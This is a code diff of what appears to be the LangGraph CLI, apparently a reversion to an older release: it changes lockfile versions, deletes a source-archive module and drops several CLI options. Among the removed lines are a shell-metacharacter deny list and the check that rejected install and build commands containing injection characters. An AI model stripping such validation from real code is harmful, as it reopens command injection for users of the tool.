@@ -465,6 +434,13 @@ brace-expansion@^1.1.7:
balanced-match "^1.0.0"
concat-map "0.0.1"
brace-expansion@^2.0.2:
version "2.0.2"
resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.2.tgz#54fc53237a613d854c7bd37463aad17df87214e7"
integrity sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==
dependencies:
balanced-match "^1.0.0"
brace-expansion@^5.0.2:
version "5.0.2"
resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-5.0.2.tgz#b6c16d0791087af6c2bc463f52a8142046c06b6f"
@@ -801,10 +777,10 @@ eslint-plugin-prettier@^5.5.5:
prettier-linter-helpers "^1.0.1"
synckit "^0.11.12"
eslint-scope@^9.1.2:
version "9.1.2"
resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-9.1.2.tgz#b9de6ace2fab1cff24d2e58d85b74c8fcea39802"
integrity sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ==
eslint-scope@^9.1.1:
version "9.1.1"
resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-9.1.1.tgz#f6a209486e38bd28356b5feb07d445cc99c89967"
integrity sha512-GaUN0sWim5qc8KVErfPBWmc31LEsOkrUJbvJZV+xuL3u2phMUK4HIvXlWAakfC8W4nzlK+chPEAkYOYb5ZScIw==
dependencies:
"@types/esrecurse" "^4.3.1"
"@types/estree" "^1.0.8"
@@ -826,28 +802,28 @@ eslint-visitor-keys@^5.0.0, eslint-visitor-keys@^5.0.1:
resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz#9e3c9489697824d2d4ce3a8ad12628f91e9f59be"
integrity sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==
eslint@^10.1.0:
version "10.1.0"
resolved "https://registry.yarnpkg.com/eslint/-/eslint-10.1.0.tgz#9ca98e654e642ab2e1af6d1e9d8613857ac341b4"
integrity sha512-S9jlY/ELKEUwwQnqWDO+f+m6sercqOPSqXM5Go94l7DOmxHVDgmSFGWEzeE/gwgTAr0W103BWt0QLe/7mabIvA==
eslint@^10.0.1:
version "10.0.1"
resolved "https://registry.yarnpkg.com/eslint/-/eslint-10.0.1.tgz#b5c5f7706782a21590ba6451e7a30d2947273c2d"
integrity sha512-20MV9SUdeN6Jd84xESsKhRly+/vxI+hwvpBMA93s+9dAcjdCuCojn4IqUGS3lvVaqjVYGYHSRMCpeFtF2rQYxQ==
dependencies:
"@eslint-community/eslint-utils" "^4.8.0"
"@eslint-community/regexpp" "^4.12.2"
"@eslint/config-array" "^0.23.3"
"@eslint/config-helpers" "^0.5.3"
"@eslint/core" "^1.1.1"
"@eslint/plugin-kit" "^0.6.1"
"@eslint/config-array" "^0.23.2"
"@eslint/config-helpers" "^0.5.2"
"@eslint/core" "^1.1.0"
"@eslint/plugin-kit" "^0.6.0"
"@humanfs/node" "^0.16.6"
"@humanwhocodes/module-importer" "^1.0.1"
"@humanwhocodes/retry" "^0.4.2"
"@types/estree" "^1.0.6"
ajv "^6.14.0"
ajv "^6.12.4"
cross-spawn "^7.0.6"
debug "^4.3.2"
escape-string-regexp "^4.0.0"
eslint-scope "^9.1.2"
eslint-scope "^9.1.1"
eslint-visitor-keys "^5.0.1"
espree "^11.2.0"
espree "^11.1.1"
esquery "^1.7.0"
esutils "^2.0.2"
fast-deep-equal "^3.1.3"
@@ -858,7 +834,7 @@ eslint@^10.1.0:
imurmurhash "^0.1.4"
is-glob "^4.0.0"
json-stable-stringify-without-jsonify "^1.0.1"
minimatch "^10.2.4"
minimatch "^10.2.1"
natural-compare "^1.4.0"
optionator "^0.9.3"
@@ -871,10 +847,10 @@ espree@^10.0.1:
acorn-jsx "^5.3.2"
eslint-visitor-keys "^4.2.1"
espree@^11.2.0:
version "11.2.0"
resolved "https://registry.yarnpkg.com/espree/-/espree-11.2.0.tgz#01d5e47dc332aaba3059008362454a8cc34ccaa5"
integrity sha512-7p3DrVEIopW1B1avAGLuCSh1jubc01H2JHc8B4qqGblmg5gI9yumBgACjWo4JlIc04ufug4xJ3SQI8HkS/Rgzw==
espree@^11.1.1:
version "11.1.1"
resolved "https://registry.yarnpkg.com/espree/-/espree-11.1.1.tgz#866f6bc9ccccd6f28876b7a6463abb281b9cb847"
integrity sha512-AVHPqQoZYc+RUM4/3Ly5udlZY/U4LS8pIG05jEjWM2lQMU/oaZ7qshzAl2YP1tfNmXfftH3ohurfwNAug+MnsQ==
dependencies:
acorn "^8.16.0"
acorn-jsx "^5.3.2"
@@ -963,9 +939,9 @@ flat-cache@^4.0.0:
keyv "^4.5.4"
flatted@^3.2.9:
version "3.4.2"
resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.4.2.tgz#f5c23c107f0f37de8dbdf24f13722b3b98d52726"
integrity sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==
version "3.3.3"
resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.3.3.tgz#67c8fad95454a7c7abebf74bb78ee74a44023358"
integrity sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==
for-each@^0.3.3, for-each@^0.3.5:
version "0.3.5"
@@ -1403,20 +1379,27 @@ math-intrinsics@^1.1.0:
resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz#a0dd74be81e2aa5c2f27e65ce283605ee4e2b7f9"
integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
minimatch@^10.2.2, minimatch@^10.2.4:
minimatch@^10.2.1:
version "10.2.4"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.4.tgz#465b3accbd0218b8281f5301e27cedc697f96fde"
integrity sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==
dependencies:
brace-expansion "^5.0.2"
minimatch@^3.1.2, minimatch@^3.1.5:
minimatch@^3.1.2:
version "3.1.5"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.5.tgz#580c88f8d5445f2bd6aa8f3cadefa0de79fbd69e"
integrity sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==
dependencies:
brace-expansion "^1.1.7"
minimatch@^9.0.5:
version "9.0.9"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.9.tgz#9b0cb9fcb78087f6fd7eababe2511c4d3d60574e"
integrity sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==
dependencies:
brace-expansion "^2.0.2"
minimist@^1.2.0, minimist@^1.2.6:
version "1.2.8"
resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c"
@@ -1586,9 +1569,9 @@ path-parse@^1.0.7:
integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
picomatch@^4.0.3:
version "4.0.4"
resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-4.0.4.tgz#fd6f5e00a143086e074dffe4c924b8fb293b0589"
integrity sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==
version "4.0.3"
resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-4.0.3.tgz#796c76136d1eead715db1e7bad785dedd695a042"
integrity sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==
possible-typed-array-names@^1.0.0:
version "1.1.0"
@@ -1880,17 +1863,47 @@ tsconfig-paths@^3.15.0:
minimist "^1.2.6"
strip-bom "^3.0.0"
turbo@^2.8.20:
version "2.8.20"
resolved "https://registry.yarnpkg.com/turbo/-/turbo-2.8.20.tgz#1632aff5453240f5e96597b6439cc7e70cd871e8"
integrity sha512-Rb4qk5YT8RUwwdXtkLpkVhNEe/lor6+WV7S5tTlLpxSz6MjV5Qi8jGNn4gS6NAvrYGA/rNrE6YUQM85sCZUDbQ==
turbo-darwin-64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-darwin-64/-/turbo-darwin-64-2.8.10.tgz#38ba73b9bbb3459cd27c6d3b5777bae80daa7e9f"
integrity sha512-A03fXh+B7S8mL3PbdhTd+0UsaGrhfyPkODvzBDpKRY7bbeac4MDFpJ7I+Slf2oSkCEeSvHKR7Z4U71uKRUfX7g==
turbo-darwin-arm64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-darwin-arm64/-/turbo-darwin-arm64-2.8.10.tgz#1c7a278a6361aef0a4e94849bf7181ff3c91d782"
integrity sha512-sidzowgWL3s5xCHLeqwC9M3s9M0i16W1nuQF3Mc7fPHpZ+YPohvcbVFBB2uoRRHYZg6yBnwD4gyUHKTeXfwtXA==
turbo-linux-64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-linux-64/-/turbo-linux-64-2.8.10.tgz#aaa6ede45619daab2be359ec6afc3b0a73941272"
integrity sha512-YK9vcpL3TVtqonB021XwgaQhY9hJJbKKUhLv16osxV0HkcQASQWUqR56yMge7puh6nxU67rQlTq1b7ksR1T3KA==
turbo-linux-arm64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-linux-arm64/-/turbo-linux-arm64-2.8.10.tgz#a9a52e4eca69968d85f09adb24ba3aec24a50023"
integrity sha512-3+j2tL0sG95iBJTm+6J8/45JsETQABPqtFyYjVjBbi6eVGdtNTiBmHNKrbvXRlQ3ZbUG75bKLaSSDHSEEN+btQ==
turbo-windows-64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-windows-64/-/turbo-windows-64-2.8.10.tgz#b0f64a29451477c1ecdc7dbe0555b8e75c464044"
integrity sha512-hdeF5qmVY/NFgiucf8FW0CWJWtyT2QPm5mIsX0W1DXAVzqKVXGq+Zf+dg4EUngAFKjDzoBeN6ec2Fhajwfztkw==
turbo-windows-arm64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-windows-arm64/-/turbo-windows-arm64-2.8.10.tgz#8d178389a995f98142b7ce8f76e1fce8a4b7c79d"
integrity sha512-QGdr/Q8LWmj+ITMkSvfiz2glf0d7JG0oXVzGL3jxkGqiBI1zXFj20oqVY0qWi+112LO9SVrYdpHS0E/oGFrMbQ==
turbo@^2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo/-/turbo-2.8.10.tgz#4ead3ef7c2fd80f9fe367f9a8b88b8a819fb5065"
integrity sha512-OxbzDES66+x7nnKGg2MwBA1ypVsZoDTLHpeaP4giyiHSixbsiTaMyeJqbEyvBdp5Cm28fc+8GG6RdQtic0ijwQ==
optionalDependencies:
"@turbo/darwin-64" "2.8.20"
"@turbo/darwin-arm64" "2.8.20"
"@turbo/linux-64" "2.8.20"
"@turbo/linux-arm64" "2.8.20"
"@turbo/windows-64" "2.8.20"
"@turbo/windows-arm64" "2.8.20"
turbo-darwin-64 "2.8.10"
turbo-darwin-arm64 "2.8.10"
turbo-linux-64 "2.8.10"
turbo-linux-arm64 "2.8.10"
turbo-windows-64 "2.8.10"
turbo-windows-arm64 "2.8.10"
type-check@^0.4.0, type-check@~0.4.0:
version "0.4.0"
@@ -1971,11 +1984,6 @@ uuid@^10.0.0:
resolved "https://registry.yarnpkg.com/uuid/-/uuid-10.0.0.tgz#5a95aa454e6e002725c79055fd42aaba30ca6294"
integrity sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ==
uuid@^11.1.0:
version "11.1.0"
resolved "https://registry.yarnpkg.com/uuid/-/uuid-11.1.0.tgz#9549028be1753bb934fc96e2bca09bb4105ae912"
integrity sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==
uuid@^13.0.0:
version "13.0.0"
resolved "https://registry.yarnpkg.com/uuid/-/uuid-13.0.0.tgz#263dc341b19b4d755eb8fe36b78d95a6b65707e8"
+1 -1
View File
@@ -1 +1 @@
__version__ = "0.4.19"
__version__ = "0.4.14"
-161
View File
@@ -1,161 +0,0 @@
"""Create a tarball of project source for remote builds."""
import os
import pathlib
import tarfile
import tempfile
from contextlib import contextmanager
import click
import pathspec
from langgraph_cli.config import Config, _assemble_local_deps
_WARN_SIZE = 50 * 1024 * 1024 # 50 MB
_MAX_SIZE = 200 * 1024 * 1024 # 200 MB
_ALWAYS_EXCLUDE = [
"__pycache__/",
".git/",
".venv/",
"venv/",
"node_modules/",
".tox/",
".mypy_cache/",
]
def _build_ignore_spec(directory: pathlib.Path) -> pathspec.PathSpec:
"""Build a PathSpec combining built-in exclusions with .dockerignore and .gitignore.
Always excludes common non-source directories (_ALWAYS_EXCLUDE). On top of
that, patterns from .dockerignore and .gitignore (if present) are merged in.
"""
lines: list[str] = list(_ALWAYS_EXCLUDE)
for name in (".dockerignore", ".gitignore"):
ignore_file = directory / name
if ignore_file.is_file():
lines.extend(ignore_file.read_text(encoding="utf-8").splitlines())
return pathspec.PathSpec.from_lines("gitwildmatch", lines)
def _tar_filter(tarinfo: tarfile.TarInfo) -> tarfile.TarInfo | None:
"""Strip symlinks, hardlinks, and traversal paths from archive."""
if tarinfo.issym() or tarinfo.islnk():
return None
if ".." in tarinfo.name.split("/"):
return None
return tarinfo
def _add_directory(
tar: tarfile.TarFile,
source_dir: pathlib.Path,
arcname_prefix: str | None,
ignore_spec: pathspec.PathSpec,
) -> None:
"""Recursively add a directory to the tarball under the given prefix.
If arcname_prefix is None, files are added at the archive root.
Paths matching ignore_spec are excluded.
"""
for root, dirs, files in os.walk(source_dir):
rel_root = os.path.relpath(root, source_dir).replace(os.sep, "/")
dirs[:] = [
d
for d in dirs
if not ignore_spec.match_file(
f"{rel_root}/{d}/" if rel_root != "." else f"{d}/"
)
]
for f in files:
full_path = os.path.join(root, f)
rel = os.path.relpath(full_path, source_dir).replace(os.sep, "/")
if ignore_spec.match_file(rel):
continue
arcname = f"{arcname_prefix}/{rel}" if arcname_prefix else rel
info = tar.gettarinfo(full_path, arcname=arcname)
filtered = _tar_filter(info)
if filtered is None:
continue
with open(full_path, "rb") as fobj:
tar.addfile(filtered, fobj)
@contextmanager
def create_archive(
config_path: pathlib.Path,
config: Config,
):
"""Context manager that creates a .tar.gz archive of the project source.
Uses _assemble_local_deps to discover local dependencies referenced in
langgraph.json, including those outside config.parent (monorepo case).
The archive preserves the real filesystem layout relative to the common
ancestor of config.parent and all external dependency directories, so that
relative references (e.g. `../shared-lib`) resolve correctly after
extraction.
Yields (archive_path, file_size, config_relative_path). The temporary
directory holding the archive is cleaned up automatically on exit.
"""
config_path = config_path.resolve()
context_dir = config_path.parent
local_deps = _assemble_local_deps(config_path, config)
extra_contexts = local_deps.additional_contexts or []
dirs_to_include = [context_dir] + list(extra_contexts)
common = context_dir
for d in extra_contexts:
common = pathlib.Path(os.path.commonpath([common, d]))
tmp_dir = tempfile.mkdtemp(prefix="langgraph-deploy-")
try:
archive_path = os.path.join(tmp_dir, "source.tar.gz")
added_dirs: set[str] = set()
with tarfile.open(archive_path, "w:gz") as tar:
for dir_path in dirs_to_include:
rel = dir_path.relative_to(common)
prefix = str(rel).replace(os.sep, "/") if str(rel) != "." else None
key = prefix or ""
if key in added_dirs:
continue
added_dirs.add(key)
ignore_spec = _build_ignore_spec(dir_path)
_add_directory(
tar, dir_path, arcname_prefix=prefix, ignore_spec=ignore_spec
)
file_size = os.path.getsize(archive_path)
config_rel = str(config_path.relative_to(common)).replace(os.sep, "/")
with tarfile.open(archive_path, "r:gz") as tar:
names = tar.getnames()
if config_rel not in names:
raise click.ClickException(
f"Archive validation failed: {config_rel} not found in archive"
)
if file_size > _MAX_SIZE:
raise click.ClickException(
f"Source archive is {file_size / 1_048_576:.1f} MB, which exceeds the 200 MB limit. "
"Add large files to .dockerignore or .gitignore (model weights, data sets, etc.)."
)
if file_size > _WARN_SIZE:
click.secho(
f" Warning: source archive is {file_size / 1_048_576:.1f} MB. "
"Consider adding large files to .dockerignore or .gitignore.",
fg="yellow",
)
yield archive_path, file_size, config_rel
finally:
import shutil
shutil.rmtree(tmp_dir, ignore_errors=True)
+78 -154
View File
@@ -4,28 +4,24 @@ import os
import pathlib
import shutil
import sys
from collections.abc import Sequence
from collections.abc import Callable, Sequence
import click
import click.exceptions
from click import secho
import langgraph_cli.config
import langgraph_cli.docker
from langgraph_cli.analytics import log_command
from langgraph_cli.config import Config
from langgraph_cli.constants import DEFAULT_CONFIG, DEFAULT_PORT
from langgraph_cli.deploy import deploy
from langgraph_cli.docker import DockerCapabilities, build_docker_image
from langgraph_cli.docker import DockerCapabilities
from langgraph_cli.exec import Runner, subp_exec
from langgraph_cli.progress import Progress
from langgraph_cli.templates import TEMPLATE_HELP_STRING, create_new
from langgraph_cli.util import warn_non_wolfi_distro
from langgraph_cli.version import __version__
# ---------------------------------------------------------------------------
# Shared Click options (non-deploy)
# ---------------------------------------------------------------------------
OPT_DOCKER_COMPOSE = click.option(
"--docker-compose",
"-d",
@@ -162,79 +158,13 @@ OPT_API_VERSION = click.option(
help="API server version to use for the base image. If unspecified, the latest version will be used.",
)
OPT_ENGINE_RUNTIME_MODE = click.option(
"--engine-runtime-mode",
type=click.Choice(["combined_queue_worker", "distributed"]),
default="combined_queue_worker",
help="Runtime mode. 'distributed' uses separate executor and orchestrator containers.",
)
# ---------------------------------------------------------------------------
# Top-level CLI group
# ---------------------------------------------------------------------------
class NestedHelpGroup(click.Group):
"""Click group that shows one level of nested subcommands in top-level help."""
def format_commands(
self, ctx: click.Context, formatter: click.HelpFormatter
) -> None:
command_entries: list[tuple[str, click.Command]] = []
def collect_commands(
group: click.Group, parent_ctx: click.Context, prefix: str = ""
) -> None:
for command_name in group.list_commands(parent_ctx):
command = group.get_command(parent_ctx, command_name)
if command is None or command.hidden:
continue
qualified_name = f"{prefix} {command_name}" if prefix else command_name
command_entries.append((qualified_name, command))
if isinstance(command, click.Group):
sub_ctx = click.Context(
command,
info_name=qualified_name,
parent=parent_ctx,
)
collect_commands(command, sub_ctx, qualified_name)
collect_commands(self, ctx)
# Compute the available width for help text up front so we can truncate
# descriptions before handing them to Click. That keeps each command on
# a single line instead of allowing wrapped descriptions.
command_width = max((len(name) for name, _ in command_entries), default=0)
help_width = max(formatter.width - command_width - 6, 10)
rows = [
(name, command.get_short_help_str(help_width))
for name, command in command_entries
]
if rows:
# Render the flattened command list using Click's standard
# definition-list formatter so alignment stays consistent with the
# rest of the CLI help output.
with formatter.section("Commands"):
formatter.write_dl(rows)
@click.group(cls=NestedHelpGroup)
@click.group()
@click.version_option(version=__version__, prog_name="LangGraph CLI")
def cli():
pass
# Wire the deploy group (defined in deploy.py) into the top-level CLI.
cli.add_command(deploy)
# ---------------------------------------------------------------------------
# up command
# ---------------------------------------------------------------------------
@OPT_RECREATE
@OPT_PULL
@OPT_PORT
@@ -246,7 +176,6 @@ cli.add_command(deploy)
@OPT_WATCH
@OPT_POSTGRES_URI
@OPT_API_VERSION
@OPT_ENGINE_RUNTIME_MODE
@click.option(
"--image",
type=str,
@@ -281,7 +210,6 @@ def up(
debugger_base_url: str | None,
postgres_uri: str | None,
api_version: str | None,
engine_runtime_mode: str,
image: str | None,
base_image: str | None,
):
@@ -305,7 +233,6 @@ For production use, requires a license key in env var LANGGRAPH_CLOUD_LICENSE_KE
debugger_base_url=debugger_base_url,
postgres_uri=postgres_uri,
api_version=api_version,
engine_runtime_mode=engine_runtime_mode,
image=image,
base_image=base_image,
)
@@ -365,9 +292,73 @@ For production use, requires a license key in env var LANGGRAPH_CLOUD_LICENSE_KE
)
# ---------------------------------------------------------------------------
# build command
# ---------------------------------------------------------------------------
def _build(
runner,
set: Callable[[str], None],
config: pathlib.Path,
config_json: dict,
base_image: str | None,
api_version: str | None,
pull: bool,
tag: str,
passthrough: Sequence[str] = (),
install_command: str | None = None,
build_command: str | None = None,
):
# pull latest images
if pull:
runner.run(
subp_exec(
"docker",
"pull",
langgraph_cli.config.docker_tag(config_json, base_image, api_version),
verbose=True,
)
)
set("Building...")
# apply options
args = [
"-f",
"-", # stdin
"-t",
tag,
]
# determine build context: use current directory for JS projects, config parent for Python
is_js_project = config_json.get("node_version") and not config_json.get(
"python_version"
)
# build/install commands only apply to JS projects for now
# without install/build command, JS projects will follow the old behavior
if is_js_project and (build_command or install_command):
build_context = str(pathlib.Path.cwd())
else:
build_context = str(config.parent)
# apply config
stdin, additional_contexts = langgraph_cli.config.config_to_docker(
config_path=config,
config=config_json,
base_image=base_image,
api_version=api_version,
install_command=install_command,
build_command=build_command,
build_context=build_context,
)
# add additional_contexts
if additional_contexts:
for k, v in additional_contexts.items():
args.extend(["--build-context", f"{k}={v}"])
runner.run(
subp_exec(
"docker",
"build",
*args,
*passthrough,
build_context,
input=stdin,
verbose=True,
)
)
@OPT_CONFIG
@@ -392,7 +383,6 @@ For production use, requires a license key in env var LANGGRAPH_CLOUD_LICENSE_KE
"\n --base-image langchain/langgraph-server:0.2 # Pin to a minor version (Python)",
)
@OPT_API_VERSION
@OPT_ENGINE_RUNTIME_MODE
@click.option(
"--install-command",
help="Custom install command to run from the build context root. If not provided, auto-detects based on package manager files.",
@@ -414,40 +404,22 @@ def build(
docker_build_args: Sequence[str],
base_image: str | None,
api_version: str | None,
engine_runtime_mode: str,
pull: bool,
tag: str,
install_command: str | None,
build_command: str | None,
):
if install_command and langgraph_cli.config.has_disallowed_build_command_content(
install_command
):
raise click.UsageError(
"install_command contains disallowed characters or patterns."
)
if build_command and langgraph_cli.config.has_disallowed_build_command_content(
build_command
):
raise click.UsageError(
"build_command contains disallowed characters or patterns."
)
with Runner() as runner, Progress(message="Pulling...") as set:
if shutil.which("docker") is None:
raise click.UsageError("Docker not installed") from None
config_json = langgraph_cli.config.validate_config_file(config)
warn_non_wolfi_distro(config_json)
effective_base_image = base_image
if engine_runtime_mode == "distributed" and not base_image:
effective_base_image = langgraph_cli.config.default_base_image(
config_json, engine_runtime_mode=engine_runtime_mode
)
build_docker_image(
_build(
runner,
set,
config,
config_json,
effective_base_image,
base_image,
api_version,
pull,
tag,
@@ -457,11 +429,6 @@ def build(
)
# ---------------------------------------------------------------------------
# dockerfile command
# ---------------------------------------------------------------------------
def _get_docker_ignore_content() -> str:
"""Return the content of a .dockerignore file.
@@ -523,6 +490,7 @@ tests
help="🐳 Generate a Dockerfile for the LangGraph API server, with Docker Compose options."
)
@click.option(
# Add a flag for adding a docker-compose.yml file as part of the output
"--add-docker-compose",
help=(
"Add additional files for running the LangGraph API server with "
@@ -538,7 +506,6 @@ tests
"\n --base-image langchain/langgraph-server:0.2 # Pin to a minor version (Python)",
)
@OPT_API_VERSION
@OPT_ENGINE_RUNTIME_MODE
@log_command
def dockerfile(
save_path: str,
@@ -546,31 +513,22 @@ def dockerfile(
add_docker_compose: bool,
base_image: str | None = None,
api_version: str | None = None,
engine_runtime_mode: str = "combined_queue_worker",
) -> None:
from click import secho
save_path = pathlib.Path(save_path).absolute()
secho(f"🔍 Validating configuration at path: {config}", fg="yellow")
config_json = langgraph_cli.config.validate_config_file(config)
warn_non_wolfi_distro(config_json)
secho("✅ Configuration validated!", fg="green")
effective_base_image = base_image
if engine_runtime_mode == "distributed" and not base_image:
effective_base_image = langgraph_cli.config.default_base_image(
config_json, engine_runtime_mode=engine_runtime_mode
)
secho(f"📝 Generating Dockerfile at {save_path}", fg="yellow")
dockerfile_content, additional_contexts = langgraph_cli.config.config_to_docker(
dockerfile, additional_contexts = langgraph_cli.config.config_to_docker(
config_path=config,
config=config_json,
base_image=effective_base_image,
base_image=base_image,
api_version=api_version,
)
with open(str(save_path), "w", encoding="utf-8") as f:
f.write(dockerfile_content)
f.write(dockerfile)
secho("✅ Created: Dockerfile", fg="green")
if additional_contexts:
@@ -648,11 +606,6 @@ def dockerfile(
)
# ---------------------------------------------------------------------------
# dev command
# ---------------------------------------------------------------------------
@click.option(
"--host",
default="127.0.0.1",
@@ -817,11 +770,6 @@ def dev(
)
# ---------------------------------------------------------------------------
# new command
# ---------------------------------------------------------------------------
@click.argument("path", required=False)
@click.option(
"--template",
@@ -835,11 +783,6 @@ def new(path: str | None, template: str | None) -> None:
return create_new(path, template)
# ---------------------------------------------------------------------------
# Compose helpers (used by up and tests)
# ---------------------------------------------------------------------------
def prepare_args_and_stdin(
*,
capabilities: DockerCapabilities,
@@ -852,7 +795,6 @@ def prepare_args_and_stdin(
debugger_base_url: str | None = None,
postgres_uri: str | None = None,
api_version: str | None = None,
engine_runtime_mode: str = "combined_queue_worker",
# Like "my-tag" (if you already built it locally)
image: str | None = None,
# Like "langchain/langgraphjs-api" or "langchain/langgraph-api
@@ -866,10 +808,9 @@ def prepare_args_and_stdin(
debugger_port=debugger_port,
debugger_base_url=debugger_base_url,
postgres_uri=postgres_uri,
image=image,
image=image, # Pass image to compose YAML generator
base_image=base_image,
api_version=api_version,
engine_runtime_mode=engine_runtime_mode,
)
args = [
"--project-directory",
@@ -887,7 +828,6 @@ def prepare_args_and_stdin(
base_image=langgraph_cli.config.default_base_image(config),
api_version=api_version,
image=image,
engine_runtime_mode=engine_runtime_mode,
)
return args, stdin
@@ -906,7 +846,6 @@ def prepare(
debugger_base_url: str | None = None,
postgres_uri: str | None = None,
api_version: str | None = None,
engine_runtime_mode: str = "combined_queue_worker",
image: str | None = None,
base_image: str | None = None,
) -> tuple[list[str], str]:
@@ -923,20 +862,6 @@ def prepare(
verbose=verbose,
)
)
if engine_runtime_mode == "distributed":
executor_base = langgraph_cli.config.default_base_image(
config_json, engine_runtime_mode="distributed"
)
runner.run(
subp_exec(
"docker",
"pull",
langgraph_cli.config.docker_tag(
config_json, executor_base, api_version
),
verbose=verbose,
)
)
args, stdin = prepare_args_and_stdin(
capabilities=capabilities,
@@ -949,7 +874,6 @@ def prepare(
debugger_base_url=debugger_base_url or f"http://127.0.0.1:{port}",
postgres_uri=postgres_uri,
api_version=api_version,
engine_runtime_mode=engine_runtime_mode,
image=image,
base_image=base_image,
)
+2 -100
View File
@@ -1,4 +1,3 @@
import copy
import json
import os
import pathlib
@@ -14,36 +13,6 @@ from langgraph_cli.schemas import Config, Distros
MIN_NODE_VERSION = "20"
DEFAULT_NODE_VERSION = "20"
DISALLOWED_BUILD_COMMAND_CHARS = [
'"',
"`",
"\\",
"\n",
"\r",
"\0",
"\t",
"|",
";",
"$",
">",
"<",
]
# Regex pattern matching a single "&" that is NOT part of "&&".
# This blocks background execution (cmd &) while allowing command
# chaining (cmd1 && cmd2) which is common in build commands.
_SINGLE_AMPERSAND_RE = re.compile(r"(?<!&)&(?:&&)*(?!&)")
def has_disallowed_build_command_content(command: str) -> bool:
"""Check if a command string contains disallowed characters or patterns."""
if any(char in command for char in DISALLOWED_BUILD_COMMAND_CHARS):
return True
if _SINGLE_AMPERSAND_RE.search(command):
return True
return False
MIN_PYTHON_VERSION = "3.11"
DEFAULT_PYTHON_VERSION = "3.11"
@@ -1233,15 +1202,11 @@ def node_config_to_docker(
return os.linesep.join(docker_file_contents), {}
def default_base_image(
config: Config, engine_runtime_mode: str = "combined_queue_worker"
) -> str:
def default_base_image(config: Config) -> str:
if config.get("base_image"):
return config["base_image"]
if config.get("node_version") and not config.get("python_version"):
return "langchain/langgraphjs-api"
if engine_runtime_mode == "distributed":
return "langchain/langgraph-executor"
return "langchain/langgraph-api"
@@ -1334,7 +1299,6 @@ def config_to_compose(
api_version: str | None = None,
image: str | None = None,
watch: bool = False,
engine_runtime_mode: str = "combined_queue_worker",
) -> str:
base_image = base_image or default_base_image(config)
@@ -1368,11 +1332,6 @@ def config_to_compose(
"""
else:
# Save a pristine copy before config_to_docker mutates graph paths
config_snapshot = (
copy.deepcopy(config) if engine_runtime_mode == "distributed" else None
)
dockerfile, additional_contexts = config_to_docker(
config_path=config_path,
config=config,
@@ -1390,7 +1349,7 @@ def config_to_compose(
additional_contexts:
{additional_contexts_str}"""
result = f"""
return f"""
{textwrap.indent(env_vars_str, " ")}
{env_file_str}
pull_policy: build
@@ -1400,60 +1359,3 @@ def config_to_compose(
{textwrap.indent(dockerfile, " ")}
{watch_str}
"""
if engine_runtime_mode == "distributed":
executor_base_image = default_base_image(
config_snapshot, engine_runtime_mode="distributed"
)
executor_dockerfile, executor_additional_contexts = config_to_docker(
config_path=config_path,
config=config_snapshot,
base_image=executor_base_image,
api_version=api_version,
escape_variables=True,
)
executor_additional_contexts_str = "\n".join(
f" - {name}: {path}"
